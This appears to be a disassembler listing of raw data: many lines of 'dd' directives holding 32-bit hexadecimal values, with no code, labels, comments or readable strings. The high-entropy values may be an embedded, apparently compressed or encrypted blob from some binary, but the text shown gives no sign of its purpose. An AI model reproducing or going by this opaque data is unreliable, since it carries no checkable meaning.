		dd 0A33522F0h, 0A2497A4Ch, 25268000h, 0AEF5E1F6h, 6B30C93Ch
		dd 205C7E07h, 0CFA8A3F7h, 0CD49EF00h, 333E286h,	0A4140B05h
		dd 9900B608h, 2C0E2FEAh, 0C18B3000h, 6270EC32h,	3DBFCFAh
		dd 95C2C61Ch, 0DA9AF046h, 93FC9DE0h, 21EE4430h,	5CD1983h
		dd 0A3A4FE5Ch, 0C8A70077h, 99AA0C26h, 0F62ABC90h, 510EFC3Ch
		dd 54AC83h, 0EC4E367Eh,	5A9D0944h, 0BFFC8E2Fh, 7108E500h
		dd 39CB68Bh, 3FC28235h,	0D5981D70h, 17023796h, 548AE0D1h
		dd 50184B8Eh, 0C0FE1831h, 751FB219h, 0C00F1336h, 403F3CD6h
		dd 7837C4D9h, 48A4906Bh, 0E1C49838h, 65EA03DBh,	2B80A145h
		dd 7715B02Ah, 0DF834412h, 23008C5Fh, 9CCA1BC6h,	0ABF80Eh
		dd 972E7D2Fh, 9893124Ah, 8901CA98h, 9EA185D1h, 72E8359Ah
		dd 0DCD0009h, 0D308AF0Ah, 4C9086C1h, 94484F48h,	0E6C58050h
		dd 18F016B4h, 214BF9BBh, 0E30047D4h, 0BFA84F89h, 0D310C6h
		dd 8E558BE0h, 0EC0BD5A5h, 61128C98h, 4C00C3C9h,	3CD9D672h
		dd 0E19200E9h, 0BDD19E65h, 0B47DA543h, 8BC26000h, 61EC0A32h
		dd 12A400CEh, 55934D21h, 0F9037E78h, 0A2D7A877h, 11C9B04Bh
		dd 8B700759h, 13FEF0DAh, 0C0008C15h, 62E0397Ch,	5BA7F1h
		dd 95C1741Ch, 6655A18h,	63F2B109h, 0F438A00Eh, 166A5F99h
		dd 1F8EBE5h, 0AE0764A4h, 2C218361h, 0CE03528Fh,	0DA710011h
		dd 4A057F55h, 4D02378Dh, 9C87C722h, 780D501h, 16E20289h
		dd 26C43507h, 0ACD0F6A5h, 75416980h, 83E700EAh,	0D20C6152h
		dd 37000B5Dh, 8702DC8Ch, 0F8147751h, 8B2900E7h,	3A2E7852h
		dd 8438626Dh, 0F1360080h, 0C96EA8C6h, 35EB009Eh, 6CB2C5EEh
		dd 21C09CC7h, 0DB30810Bh, 10AE02E0h, 4FFDBFFCh,	0B8F3E090h
		dd 2B1F609h, 0A5F380D2h, 0E665500Bh, 13CD02BDh,	66E305D5h
		dd 1C00C789h, 338ED279h, 119B69h, 50B795DCh, 0CCFEA01Bh
		dd 16FE1DE5h, 29E98063h, 0AB55A225h, 0D41B4928h, 734E3F18h
		dd 0F85275C0h, 68672489h, 80C54770h, 111640BDh,	52B9DB00h
		dd 23F3990h, 50BC012Fh,	0B7EB6087h, 0E7A9E409h,	0FD14B800h
		dd 9B01FA6Ch, 50920179h, 9D123A17h, 6086D82Ah, 4F637204h
		dd 6EC01541h, 28D6EABAh, 4B04B2Dh, 91BBD4FEh, 0AD9F0175h
		dd 5010CA03h, 2100C610h, 599E5836h, 3FC53B6Eh, 9C8C351Eh
		dd 0FB216C57h, 4BC09100h, 8C803E70h, 0DF6D002Fh, 86447635h
		dd 66052883h, 7427221h,	0F5E0B042h, 40F007Bh, 0FB0C22A7h
		dd 16637E39h, 241A018Ch, 432327F1h, 0C68204Eh, 2934200h
		dd 0DDD7F63Ch, 0C0CD001Dh, 88F94987h, 6E0011DFh, 4FFBB857h
		dd 0A517F4h, 0FC3A750Fh, 4A94E550h, 0A7A1AC04h,	9890BE20h
		dd 0C3720ACAh, 6A3DA5E8h, 25C76903h, 16D3515h, 0BD143E11h
		dd 34525CEDh, 30F8D73Ch, 3789209h, 0ECA480BEh, 190CBAh
		dd 0AF52F0A2h, 1CDEBBFCh, 0ACF148h, 3FF992C5h, 9035DB28h
		dd 0C9663C98h, 1B5C0F80h, 8A8C38B7h, 8A52907h, 0EBC3FDDFh
		dd 312CF976h, 4C22C0F0h, 0AA00F0EFh, 0D66CABE4h, 361E05B2h
		dd 6D80E5A0h, 3403ACD7h, 1321C39Eh, 0AEA19D69h,	0D7270F4h
		dd 760798F6h, 22C9FABCh, 3F13870Bh, 607A5932h, 4050E4F0h
		dd 0D34921CEh, 0B8C00E4h, 4D9B5DCAh, 0CB090246h, 33D66983h
		dd 7BF19840h, 34A34C16h, 0FA031AB8h, 0BE387A56h, 0B058F7C8h
		dd 0E26001ECh, 0E6C20BB8h, 0A3930079h, 0CF2EB6Ch, 31001F41h
		dd 0E7E51E14h, 0ECE850EFh, 81061225h, 0E2BC4227h, 9CC09DF1h
		dd 0A9005C69h, 24062373h, 1F5FAFACh, 402943D5h,	8121EC0Eh
		dd 720049C3h, 441AAB78h, 3A14C91h, 477AB817h, 8DA87E1Ch
		dd 6F001259h, 0E5C71557h, 0C08FDE86h, 0AFD10311h, 11FDBD8h
		dd 12D6DAA7h, 6703C03h,	5E9CD8B0h, 0FFFC03EEh, 0C30187DDh
		dd 24E854E2h, 1B7CB219h, 7F713Bh, 8AC5CBDFh, 0F2A173A2h
		dd 14284DC2h, 0FE251101h, 200CF357h, 3748A0B9h,	750772ACh
		dd 508253D8h, 0DBA14DF0h, 30B65C84h, 0E645BB01h, 805D2F7Eh
		dd 123CDA8h, 3D7B9FA6h,	19E07064h, 0A304CCEEh, 622C0A00h
		dd 38DA780h, 36EB58DCh,	25AA8700h, 8AD9A9C6h, 0D49D5D0Ch
		dd 0B19EE062h, 0B9FAC3Ch, 0DC00388Ch, 2CAA61E5h, 844A1C24h
		dd 883D1780h, 3B2028EEh, 52017354h, 0BA91858h, 91E097BAh
		dd 407BF50Fh, 0EB63BE5Bh, 0C4F802F3h, 0A1260A8Eh, 39F30063h
		dd 0CBF506E8h, 32331A03h, 0A8473487h, 394F1996h, 7A808F7Ch
		dd 0B08D41A1h, 2C01D905h, 142B0E21h, 9540C119h,	3ACB3013h
		dd 0FF006629h, 645682D6h, 80F32E4Ah, 0A29CF4D8h, 3C5285h
		dd 573225C2h, 761142E1h, 70638002h, 0E005221Ch,	1DF243Bh
		dd 0A87CCA8Ch, 4423A1D3h, 9F95C088h, 0C5048ACCh, 7F6BA68Eh
		dd 193C5CC0h, 0CBBD008Fh, 95E5CE15h, 71EAC4Bh, 5247CF3Ah
		dd 3F308473h, 44A8250h,	0CE8DD587h, 0A18480E7h,	475C2B68h
		dd 0EC81E04h, 2015D70Bh, 0E720211Ch, 874B07B1h,	404073D8h
		dd 945BB9EBh, 9B884701h, 49068BD9h, 9243CCh, 0BCAE3D03h
		dd 0DAACF6B7h, 827EC112h, 393F5802h, 44F4C8E9h,	0BA6B1D0Fh
		dd 6A26E28Ah, 0E5E044BDh, 586F0730h, 1960C954h,	49FCE07Fh
		dd 58CCFF00h, 0BB88A102h, 0ACA65C03h, 4F01007Ah, 68501566h
		dd 0C73EE9E1h, 81CE8093h, 2B78CDE6h, 0F648C0FDh, 9EAF7559h
		dd 94F13F00h, 56EF3AD7h, 0C8CF5C7Ch, 0CA308F02h, 0B8E09213h
		dd 4110FE65h, 17008D89h, 71CF81FAh, 73002596h, 3C7E3DD5h
		dd 0F623988Eh, 413A00D3h, 4B9F7C0Fh, 4024E731h,	7B00F417h
		dd 46ED3348h, 0B36D001Dh, 0D968BA74h, 0B8B8F821h, 716EEA11h
		dd 0C07DCD8Fh, 2B99DE6Dh, 420087E4h, 0B51618DAh, 0D8AC46h
		dd 15ED05E7h, 0C1A8DE07h, 0E4F0DC1Dh, 9D31FF40h, 2CD8DF93h
		dd 42C1856h, 971B552h, 290C005Dh, 3E63463h, 14B0E366h
		dd 58B8BAF1h, 0B707F8B3h, 3AD89C13h, 1EC09460h,	0F6C18A0h
		dd 9DF864Ch, 6674A00h, 0EE3AF8E2h, 0F52F00DDh, 309347FBh
		dd 793AA2DCh, 2B9B008Fh, 0ACC788E3h, 31EA28h, 3542C98Bh
		dd 590BEAA3h, 0AC5DA928h, 443F6224h, 0A2844440h, 94F09051h
		dd 5D7F07B0h, 7C0BECEh,	4C95CC5Bh, 0E592F600h, 2FB5B717h
		dd 0EFD8000Dh, 8AEB40B6h, 5761E6BCh, 0D5321488h, 0C4DD3CF0h
		dd 5ED23070h, 0E440A4AEh, 0A84E88h, 0DE17E1B9h,	9C5AA4F5h
		dd 10B13Fh, 0D1752446h,	167D473Ah, 0EFEFB56h, 19CB3B43h
		dd 224EC83h, 0F45AA7F1h, 117D7D8Dh, 6B854F00h, 719E49D7h
		dd 10F7008Bh, 12F63447h, 36000459h, 16813396h, 76939D4h
		dd 1C1E24C1h, 0CC98B0E9h, 0EA00A486h, 582A81ADh, 378368h
		dd 0C28C95C1h, 628D1F2h, 2D0BF00h, 0F75507CAh, 425D000Eh
		dd 115E5F99h, 4670ADB7h, 0A86A4Ch, 0DB9D57B8h, 0EB01E8h
		dd 9C56B689h, 0E103E9DAh, 21C48730h, 0A7DE35h, 0D167B4E3h
		dd 0AA38F7B0h, 0AD0BE8B1h, 0AC9F8002h, 0EE7ACA9Ch, 0B2970188h
		dd 2BCD3ABDh, 7C70CA64h, 965DA309h, 8340111h, 306489DCh
		dd 0CD780662h, 10545299h
		dd 2D250700h, 6A8C7B4Ah, 46660321h, 60084CA1h, 0E9D5B807h
		dd 4D10C047h, 0DE97AEh,	0FC2E7652h, 0A4C916AFh,	94A7F001h
		dd 70A5B037h, 7CA142D4h, 5563F3Bh, 0F86EA4h, 0FF016BC8h
		dd 970C1CE0h, 616DEA5Dh, 8A3F2CF5h, 0DAF38098h,	0E56FA201h
		dd 50747E48h, 0EF012673h, 3CF62225h, 6A708E32h,	0B19500C3h
		dd 9FCCF97h, 0AE0091D3h, 2ACEA94Bh, 0E8969EE8h,	78B80055h
		dd 7ACB6F86h, 0C4006EE1h, 7ED712ABh, 0EE828964h, 0C560073h
		dd 525527B3h, 491CDFD1h, 5B42A967h, 0C0932C0Eh,	90E4E69Bh
		dd 384E0158h, 5E32804Fh, 796D2071h, 0DEC10E27h,	0D2600393h
		dd 7780CFB8h, 200FC905h, 0E097A80Ah, 2AD4F7B1h,	9DAE0008h
		dd 38F2B46Eh, 852EDA6Bh, 4804B479h, 7A3C62ECh, 0A2D4A716h
		dd 0DC443824h, 30C0123Ch, 9DB2DA4h, 85069C23h, 0ECE2AC0Ch
		dd 0BC548E0Eh, 9C144AFFh, 0C86A9102h, 0F1D4E0EFh, 976100B7h
		dd 0CF7DAFF7h, 0C707605Bh, 6636C9DDh, 54F4F6C1h, 5FCDB470h
		dd 3B9DB895h, 0C4500275h, 403E386Eh, 60935159h,	70C97ABAh
		dd 8E005C3Bh, 0CB452F84h, 178DFDACh, 4955A65Dh,	0D4C4A928h
		dd 68D8902Ch, 5B61D00h,	81DCAC42h, 4432200Ah, 885AE21Eh
		dd 0CEAB9C41h, 0AD61A308h, 0B904993h, 0FCA06FD0h, 702A1930h
		dd 18002092h, 2822436Ch, 56EEA1h, 0DB5FFCB1h, 0EBCA8B45h
		dd 0A5055A12h, 74C05813h, 3A21247Fh, 0FA38FAh, 0F6B9F219h
		dd 5A117C52h, 535F9600h, 3E865CE3h, 27D89551h, 0A7F22600h
		dd 0F532EC9Eh, 38600017h, 4DFBC00Dh, 76003157h,	0D23C7050h
		dd 8F3534h, 0D57CF4F8h,	77B90CDBh, 0A141CD00h, 0AE04E57Ah
		dd 4E9B1ED4h, 0D6F9C0FEh, 9D226A1Eh, 3D6F580Ch,	3B9452C3h
		dd 8E8425DCh, 82E52ACCh, 0DC7A9244h, 1EDD9A07h,	45A2FDC8h
		dd 0C1F47AEFh, 95413B21h, 0F2ECE164h, 90B310C0h, 0D1494092h
		dd 37740248h, 4078519Eh, 71B81C44h, 74C0036h, 1A552FE1h
		dd 0D91CF432h, 0CD03B784h, 0E00571DFh, 3843A8A2h, 0E30EF690h
		dd 0BC043811h, 20A4C0C7h, 6148F134h, 80AA0254h,	0CEA9A6C8h
		dd 0DC8B04ACh, 9068BFA7h, 941B4568h, 0F44CD92Ah, 186053h
		dd 0B07359Dh, 5EBC6Bh, 0BF60DFEDh, 0F6DCECADh, 3CB112Dh
		dd 446D5Ch, 8B387040h, 0F2C1145Bh, 0E7C90C05h, 0C8C86388h
		dd 70AF5974h, 403C100h,	8E053BDEh, 22CD38h, 84A28AA7h
		dd 27F449h, 52855C4Dh, 48758932h, 58EB0507h, 24E06FADh
		dd 7D36F4h, 0FF17DF64h,	0D325D0B8h, 0E80AF001h,	2BCC82C6h
		dd 915830h, 0EB577262h,	0CEF01540h, 0B9B2023Dh,	0D8F18068h
		dd 7152A453h, 45673F85h, 9BDD1700h, 4413FB49h, 0D9F12700h
		dd 6B8174D7h, 2EE80708h, 5C648BBBh, 37001950h, 8D784B1Bh
		dd 1D3D144Fh, 805581B6h, 8808B2EEh, 44006FA6h, 64DEB35h
		dd 1A72CB9h, 301899D9h,	39DE6C3Eh, 2E8D00D4h, 23EA0C6Dh
		dd 89C2017Fh, 7290FE42h, 0F5C8DFDDh, 0D5720BFDh, 67502414h
		dd 20C827B8h, 0F9BB7128h, 0A41CB6C6h, 65214C80h, 0B3D7AE00h
		dd 0E0A13704h, 0DA6807A7h, 603DFAB5h, 4665B21Dh, 1ACCFC0Bh
		dd 65700F6Fh, 0DC438DA2h, 0D4229F41h, 9E35F890h, 35576A4h
		dd 0BC0CCA85h, 32C0A3CCh, 42390413h, 0B216000Ah, 0F146CE23h
		dd 3A9105A7h, 0CE92514h, 3B81A090h, 7449084Ah, 8F108BF7h
		dd 767D4274h, 6AB060B7h, 0BD84403Dh, 35622713h,	6B5C5500h
		dd 124F6183h, 879FEF29h, 5B1C70DCh, 494DFF7h, 0DDDE2F43h
		dd 0E9E39CC1h, 0E440AAE4h, 97A0C1C8h, 30F1996Dh, 8D07574Eh
		dd 0F319A6E9h, 39DF6350h, 0A2A30972h, 0DE80C606h, 8CF790F8h
		dd 0EC39900h, 98D33614h, 4684AD6h, 0B02EC058h, 0C3B8912Ch
		dd 6A88BB2Ch, 2249A604h, 660048B3h, 0BD2CE60Ch,	0C4926289h
		dd 21351700h, 60EC2A65h, 0BB938E9h, 1633AB24h, 28740074h
		dd 0BA1029FBh, 833DA000h, 576B3BE1h, 0A8624887h, 6C7E4807h
		dd 0F0F85EDCh, 2A007A54h, 6D5BD0Fh, 48C3E5Ch, 0F6942F62h
		dd 38FCC0AAh, 0B4005768h, 0BBE57476h, 8D35A59h,	60505D8Ah
		dd 202C5B96h, 0BBEE00D9h, 0B4AE9F45h, 0CD0099B3h, 855342F4h
		dd 1FED317Dh, 1B358EC3h, 0C0A568B2h, 48B13393h,	0B72530B0h
		dd 0B0C801EBh, 0C4E06DDBh, 29FC00CAh, 6CA52152h, 0C4DCEF2h
		dd 1DF40E14h, 0C4B5405Eh, 5C60AE0Fh, 3900D0D0h,	0D5B21FA9h
		dd 99002E88h, 0FD9B97E8h, 0B7D745Ah, 0D294BCABh, 71B54800h
		dd 0EB073E8Bh, 0AD60DE90h, 8743BDC0h, 1F0C003Fh, 0B662B45h
		dd 840724E9h, 4A3D26C5h, 883E0FF0h, 0B2DC00F6h,	34973705h
		dd 2500FB55h, 74B39D0Bh, 1B9E196h, 0AF2F418Ch, 0D0D52E35h
		dd 52007640h, 872DF99Bh, 30C3F3A0h, 61B0C18Ch, 6205F07Fh
		dd 66671CCDh, 4EBEBF00h, 0D45BE0h, 28CF0963h, 978F4D3Fh
		dd 1F89243Dh, 0A00581Ch, 4166A51Ah, 889083h, 276942CFh
		dd 7B3D6E99h, 9745CD3Fh, 0B069634h, 2A21CB79h, 92CC754h
		dd 60539046h, 250E2480h, 6C3C8B55h, 49E18082h, 0F28A91F6h
		dd 3C590056h, 97D494E7h, 0CA0FAD37h, 0C0F3BE2Ah, 0FE7625D5h
		dd 61E6008Dh, 6C1CAA67h, 2B00C127h, 984D7148h, 4051B5h
		dd 3A204F45h, 0EB15B12Dh, 536E4900h, 7EA0046Bh,	7F941221h
		dd 2FC003Fh, 68CC26ADh,	0B6412B00h, 0EE24B8BEh,	0D90800A5h
		dd 4D855A8Ch, 0BF0961A1h, 0F96802h, 0BEE5D12Ch,	1557397Bh
		dd 16605180h, 0DC7A7032h, 133DA21Fh, 0A9A3C4C0h, 6022F8CEh
		dd 56CA187Dh, 92003265h, 187B3C6Fh, 0A54FBCh, 0A1EE1D3Fh
		dd 590C3317h, 9896A6EEh, 15009310h, 0E0ED53CFh,	540229D0h
		dd 480BBE8Ah, 23B280FCh, 0A00910A0h, 7788F88Ch,	3A6C9EDFh
		dd 80398692h, 4767C4D8h, 0FCACA103h, 179D4Dh, 8F893E30h
		dd 0C7D5AB1h, 49962F11h, 97B71400h, 0DE18F8BBh,	44E6AE02h
		dd 0C02A8186h, 1FA6AF8h, 6669AB0h, 0D4A4436Dh, 0BD395531h
		dd 3D1501FEh, 0E2295969h, 50F24420h, 1EFA5D8h, 9E8D432Fh
		dd 20716BE0h, 7200C86Eh, 1941043Dh, 1D68DB50h, 4E2DCA14h
		dd 0AA8529FEh, 24108096h, 0B80F7AA3h, 8007F7D7h, 551F318Bh
		dd 3B715F3Ah, 0C071C800h, 51FF09CBh, 109AA9F6h,	0F1587200h
		dd 7F499F5Ch, 17AE13FDh, 95B8C0CAh, 51590936h, 0B51A005Ch
		dd 157BC918h, 4C10F45Ah, 0A23D409Bh, 52228612h,	40D885D4h
		dd 0E92F47D4h, 6C001E4Bh, 284275B2h, 0CC48EEh, 7ADBE587h
		dd 0F39D36A9h, 0D88F5A02h, 0E0C8B9ECh, 68527Ch,	4E91B103h
		dd 1395CDF7h, 0D9923B00h, 8683AA19h, 17540FBAh,	7C4078B6h
		dd 6259CC9Fh, 0A5473000h, 0FE893868h, 0FB674B7h, 0D293C48Bh
		dd 109AB180h, 2F001FAAh, 2453390Dh, 0FFC99Fh, 96EE4290h
		dd 91E59534h, 0A69E8601h, 0FA4E8C21h, 0E17183Dh, 55B0009Ch
		dd 0EC67FB45h, 7F400F2Ch, 8032B80Eh, 7BFC4D1Dh,	90F20060h
		dd 7E2D6FE4h, 0E97931CEh, 0CC95A803h, 0E0575BE6h, 0F3510E0h
		dd 0A5160D3Bh, 0C3B852E0h, 0B498219Fh, 0ABB23700h, 1DB74D45h
		dd 0F75E0E13h, 0B5A738CFh, 2523904Eh, 0F80091DEh, 0AA5D72C3h
		dd 0E083F4h, 3A53634Bh,	0BA0FBF7Dh, 809FF83Fh, 3651F0B0h
		dd 1D9B5E20h, 2B6CE3h, 24F6CA74h, 6605A1ABh, 0DF0A3AE9h
		dd 98619BC7h, 104D9AB6h, 296AF8h, 4843C88Ch, 92B6FE8Eh
		dd 3DA45100h, 76301A9Bh, 365602A0h, 180EBC6Eh, 23981E60h
		dd 641DE900h, 10B4E76Ch, 0FCBE12FDh, 0AF60004Eh, 662160F6h
		dd 0A24A800h, 90FD6AB6h
		dd 0B0960F09h, 0CCA1955Bh, 308A38EAh, 0CF0073E8h, 599FF760h
		dd 4ECBBBACh, 0C06DF115h, 469889EAh, 0F3D29500h, 0AD9EC04h
		dd 3F3DEC2Eh, 0C680AF8Fh, 14B0EF99h, 0A4BADBC5h, 0A1EC7A01h
		dd 55AA3BE6h, 24B60h, 0F93CC318h, 30F21C2Fh, 5F83E48h
		dd 612CE3C4h, 76C0A8D4h, 5CDA226Ah, 0B526DF85h,	0D32A0793h
		dd 0FB0CA0ECh, 340282A4h, 0BD9EFD4h, 2E1D40F1h,	0D2F401ABh
		dd 8E98E704h, 0CBDDEC38h, 0A801A500h, 77695873h, 3E3C3A14h
		dd 0AED9FF03h, 180E18EAh, 8F5CF76Fh, 55DB00EEh,	74D144CAh
		dd 35703E6Dh, 0F065E1C1h, 0D6002B49h, 28EC0D79h, 4C44FF6Fh
		dd 0D901D836h, 0D8191A86h, 97DFF06Ah, 739D041Fh, 253AA601h
		dd 0EFF064B5h, 0B7E100AEh, 0A190D115h, 16149199h, 0D4819Fh
		dd 80D91C0Fh, 31D50B7h,	21D0774Ch, 0B80C753Dh, 0B01C2AE8h
		dd 294D00EEh, 95912FE0h, 711B7730h, 8F293450h, 0ACD9FD81h
		dd 19DD7052h, 5D830145h, 50D940D0h, 1714ADh, 1932153h
		dd 3F03605Fh, 49AA8000h, 0DB3C2346h, 9D1B00E8h,	0FEC40E96h
		dd 0EE72BFAEh, 8097D238h, 6B934BACh, 0EE8BC8Dh,	0A1103D8Fh
		dd 0C17EBF60h, 0B900AD45h, 0DA5121AAh, 0E63438Eh, 4E78F34Bh
		dd 7329B80h, 0EA1EBFFAh, 6F00F1DDh, 0EEE39EC0h,	7A630090h
		dd 0F3C39F98h, 9D2566B3h, 95FFC0E2h, 96E10140h,	0C81514E4h
		dd 4BB7FCADh, 2D267E3Fh, 0CD58C0h, 19A0F04Eh, 0AED38FB6h
		dd 0B400C57Eh, 0F98DBB6Ah, 0F29C4624h, 0C86200D5h, 67D75AAAh
		dd 723E6932h, 46550377h, 0CAEE1E52h, 2049629Bh,	2D3438A4h
		dd 5D11445h, 0CC77DCCAh, 1D216D08h, 1E0E3C79h, 0E06BAEB9h
		dd 4CE8C562h, 0DD9380F0h, 0B4BA0408h, 3BE9085Ah, 0EE58C422h
		dd 16390C1Eh, 38111Bh, 91A6AA20h, 99EA4D1Ch, 210E09CDh
		dd 0D54028CDh, 6081E93Ch, 0BA049DAh, 487F1F67h,	63A79E00h
		dd 0D1E5D514h, 135E0D4h, 80E25401h, 0FFD9A5BFh,	9623E803h
		dd 6430A93Bh, 603A8890h, 23A5AA1Fh, 0D112491h, 275B13h
		dd 0DC4F7399h, 0B40313FBh, 818D016Fh, 0C6600062h, 83189432h
		dd 3963ABFCh, 98D87520h, 173A9Dh, 554496Dh, 2C4F1985h
		dd 407196CEh, 7412D622h, 6E4E00BBh, 3C25DCB6h, 82005315h
		dd 5766660h, 14C2712h, 6BB7EF2Bh, 0E4580874h, 3D7C1832h
		dd 9D2D5501h, 0B9CF8845h, 1D22A8C7h, 0D303AFAh,	48D313h
		dd 3DEBC770h, 0A25819BDh, 21460132h, 71E1C249h,	0B73F4h
		dd 1532AAE3h, 0A75C11A3h, 8A00C2B8h, 63E1C086h,	37EE5797h
		dd 4111713Bh, 168F229h,	2C203569h, 408A07CBh, 0F09CE4DEh
		dd 73D1B641h, 7C7DECEBh, 0F5693F0Ch, 843C2967h,	29215BA3h
		dd 6D72089Eh, 0D19E6890h, 2CC221B2h, 842932A9h,	89B02510h
		dd 44BB08D6h, 0DD407061h, 9989005Bh, 0E747BE98h, 860F845Ah
		dd 246D650Ah, 0F4C0A3CCh, 6E6708h, 0EF9C30A2h, 345B7481h
		dd 9D374000h, 587780F4h, 9E450033h, 0A091891h, 861D276Dh
		dd 0BE9D20h, 122A0D95h,	0FF037Fh, 0FD8B3A04h, 369B4A14h
		dd 0D888D300h, 0E91953A9h, 0ADCE0040h, 0A3B8916h, 1B009F6Bh
		dd 4574B24h, 0DF812Eh, 0F146ED0Fh, 2992D13Dh, 0D4ACC80Ch
		dd 6A4E01h, 43D78B27h, 0D047CE24h, 60A2EE04h, 0BCC09AA0h
		dd 0A88CC564h, 71BE2DCh, 421C5AB0h, 0BB70F08Dh,	39902AD0h
		dd 7100D7E0h, 0F247FE8Fh, 1B140E1h, 8A0BF174h, 0DCC5E8E6h
		dd 6B01193Dh, 83AECA27h, 11807B32h, 902E6094h, 0DA00AF38h
		dd 1ACAA89h, 770D737Eh,	63F300F7h, 65F4E02Fh, 0EA091D1Fh
		dd 257808C8h, 9030DA28h, 0E2A9A4Dh, 1503D05h, 1F9418C0h
		dd 0CD007084h, 431D11F5h, 0E4BBBEh, 0BD19AC2Fh,	855F8A5Ch
		dd 0A6B97E00h, 61143F2Dh, 0F7DB7A57h, 0C71BF440h, 0F918C028h
		dd 3EC57469h, 33B13000h, 15A2E65Ch, 0B521C95Ah,	2437E203h
		dd 0C9E31100h, 0A5878F40h, 0A8A100CCh, 0E71554C2h, 261EF91Ch
		dd 3D810D60h, 0EFF22CDDh, 351C860h, 11795918h, 0C5984Eh
		dd 0B2486DEEh, 0D200E4E1h, 0C939C34Bh, 180B09h,	0FDD8DF36h
		dd 0CC607E73h, 0D7343F00h, 842076AFh, 2C8500AEh, 0BC506515h
		dd 9400A1CFh, 8D97BB78h, 0EA30101Fh, 1C7E008Ch,	157B131Bh
		dd 5000B6E3h, 240C261Ah, 284538C1h, 0B4C917h, 0E48D05FFh
		dd 2E533BEAh, 7EF22800h, 382AB9F1h, 0EEFB0137h,	3602F37Ch
		dd 1D5BC09Ch, 0A8C7D800h, 6039D3E4h, 0F40B002Ch, 3D42E9A7h
		dd 948E57Ch, 0C422007Ch, 0F654B50Ch, 0EA2C0049h, 9CD11250h
		dd 0E200FD6Ch, 6E19B447h, 54CC1B02h, 186E4F2h, 0E9E3EAFBh
		dd 0E8FCDCCDh, 543FC5A3h, 0BE45825Dh, 854066F9h, 0DE03A1C4h
		dd 0B885B58Eh, 5064A632h, 97C8C6h, 9D13D102h, 88C98477h
		dd 183E43EAh, 8A490062h, 26AE306Eh, 864700BDh, 0E63BA2AAh
		dd 0CB005CC0h, 2B9A1F9Fh, 71A226Fh, 0F5998F72h,	0B6A20D5h
		dd 0C77D6744h, 17CA64Dh, 0E955B528h, 0E6F8C51Fh, 3B47180Eh
		dd 0B29EA02Fh, 0BD06D91Fh, 0D303A32Ch, 0B1C49973h, 8AE40517h
		dd 9EC20054h, 3E18234Ch, 0DD0660C0h, 0C50D9A70h, 8A8C00F8h
		dd 0B8F602B0h, 14014A46h, 0F40EE482h, 0A440E876h, 2B9691h
		dd 93FF339Ah, 30EBC8DBh, 1E396900h, 2EECF772h, 0C7AA3D40h
		dd 86705A00h, 793CFCBh,	1763653Bh, 0AB144B9Bh, 4CD700E3h
		dd 6DF4D9C9h, 0F5C600FBh, 598A456Ch, 1900F831h,	0BE4AFB2h
		dd 246A28h, 3A3C78CDh, 10704D03h, 771B4A05h, 8C00894Ch
		dd 1FB17F26h, 73CB00FBh, 0B2803971h, 0C600F81Eh, 863A5C70h
		dd 7D118B4h, 5295DCBEh,	5054779Fh, 5D94DF62h, 4B177A00h
		dd 9E3233E6h, 9071CF7h,	0BCF280D3h, 2905A7C9h, 3E63B702h
		dd 91F8F0ECh, 0CD0B0C4h, 2618E225h, 3F9756h, 0EF72A7D7h
		dd 3C716A67h, 5189863Dh, 609EFC94h, 112C97E0h, 0A80E7463h
		dd 310D00C8h, 0EC03B2h,	29C4F19Fh, 2F6B655Eh, 82AF5701h
		dd 8CEDFC1Dh, 0AD49CC5h, 31B786Ch, 2802A7F3h, 0A7DC65h
		dd 3431688h, 9E2C5C00h,	9F53FC76h, 7CF263h, 0D3ADA162h
		dd 27736BD6h, 0E5A8820Eh, 0A787805Ch, 147508CDh, 0D80DDC3Bh
		dd 0EC985100h, 0D997C4DBh, 56019C07h, 7DC0784Dh, 8239FDh
		dd 8FDB2331h, 5A85C4C8h, 0E1EAAC00h, 3D7D6637h,	40E1DC5h
		dd 7738FAh, 28C03871h, 3EE8C9BEh, 0ED349F1Ch, 0CAFDD80h
		dd 4C7F9BB2h, 7109F840h, 1481C446h, 241A8B95h, 0FB706FC8h
		dd 240E4090h, 0E856B9Ah, 1C0917h, 4AE8427Ch, 488D77A9h
		dd 9C07C8DCh, 102BBF7Bh, 0B378F9FAh, 0C757FC18h, 0C53F58h
		dd 7BAAA4CDh, 0B2686E13h, 79B1BE00h, 3B77F86Ah,	0B3BC00AEh
		dd 405C76C2h, 18005D1Bh, 93A4E887h, 6C2079h, 0A9E7B44Bh
		dd 0A5BC7D02h, 2709AFB8h, 4C8462h, 16C4CF0Ch, 0E3A8C060h
		dd 79411B5Dh, 0F50C78E8h, 0D935B298h, 30F91384h, 0EE304121h
		dd 0D4F54DCAh, 1D00F836h, 0A7E2FA39h, 1D3E5BA8h, 809001DBh
		dd 672EA0EBh, 2F0E53AAh, 0C233990Ch, 7F1666EDh,	0DCA9F50Eh
		dd 0C0BA2180h, 910781B2h, 53E4964h, 0B67ABDB1h,	520420h
		dd 0B3D8F603h, 98C9E792h, 22778300h, 0E994A024h, 523000D1h
		dd 51C2617Ah, 21006029h, 0DFE1E6C1h, 0FCFE4F85h, 71320064h
		dd 48B0333Eh, 0E5018AAEh, 29613DEDh, 8520A326h,	0BE600963h
		dd 0D4007338h, 4B85B3F2h, 4F77CF00h, 96640595h,	0AADC003Ah
		dd 5216805Ch, 0FD004498h, 6659E87Ah, 202CB3h, 60EB6EA1h
		dd 272BAE61h, 766FA20Fh
		dd 0B4BE45Ah, 9D80B600h, 0DD0BC4D5h, 0B8FE05h, 705750A0h
		dd 5F87FEBh, 8D54BDE6h,	3628C25Bh, 0F04D83C0h, 570A1A00h
		dd 77FCFF5Fh, 0B26B0E30h, 138058A9h, 0E7D0FEBBh, 0E0D48800h
		dd 0AEDA682Fh, 359A0F78h, 590033AFh, 8E0C4520h,	82470B0Eh
		dd 4BF400C4h, 0CFAF0Ah,	7B6821D6h, 65B0E261h, 0CACC7A07h
		dd 0E6105B94h, 2296A6h,	102C759Eh, 0AD158F49h, 4FCB0700h
		dd 0CDFC43F0h, 99D31237h, 0B25100F1h, 4C646367h, 0A6CB1900h
		dd 2603DC58h, 34B75DABh, 68909100h, 0E2E509A0h,	72FC3C14h
		dd 0EFB600BCh, 3B0B8F41h, 0C9610083h, 88E4270h,	4C008036h
		dd 884476CAh, 502C4E21h, 0E8B025h, 2FB26564h, 0E78AAD24h
		dd 0C3765B1Fh, 771540A4h, 2C8208BCh, 421A4039h,	0A3FCF741h
		dd 9F961D3Fh, 37C00FE1h, 0AD6B323Bh, 0FDFA01D0h, 6962940Ch
		dd 271A8372h, 0F08C6E7Ch, 0E58B09h, 7904B1B8h, 0CAD3F7F6h
		dd 0DF458404h, 0AE8094DAh, 0DEAD81h, 979A9688h,	2FD3D0E2h
